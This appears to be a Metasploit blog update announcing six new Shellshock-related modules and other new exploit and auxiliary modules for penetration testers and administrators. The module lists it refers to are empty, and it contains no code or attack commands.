Now that you're refreshed, you'll no doubt wonder where the Metasploit elves are on this. Well, we've published six new Metasploit modules that exercise Shellshock. Remember, the bug is in bash, and is absolutely not tied to just one application or protocol, so I can guarantee this is not the end of the story. The situation with bash is evolving on a daily basis, and we're keeping pace with the new developments as they surface so penetration testers, auditors, QA folks, IT administrators, and all the rest can validate their defenses and mitigations.

 

For ease of use, here's the list of new bash-related modules:

 

 

Tons of thanks to all the researchers and contributors that helped on these.

 

(The image of Hulk addressing bash via bash techniques by Acegiak)

 

Other New Modules

Over the last couple weeks, we've added a great pile of new modules -- 16 all together. Of course, bash-related modules take center stage, commanding six modules all by itself, as indicated above. The non-bash modules are listed below. Note that the PXE Exploit Server module isn't technically new -- it's replacing the deprecated file location for the old PXE Exploit Server (for details, just see PR3923).

 

Exploit modules

 

Auxiliary and post modules

Filter Blog

By date: By tag: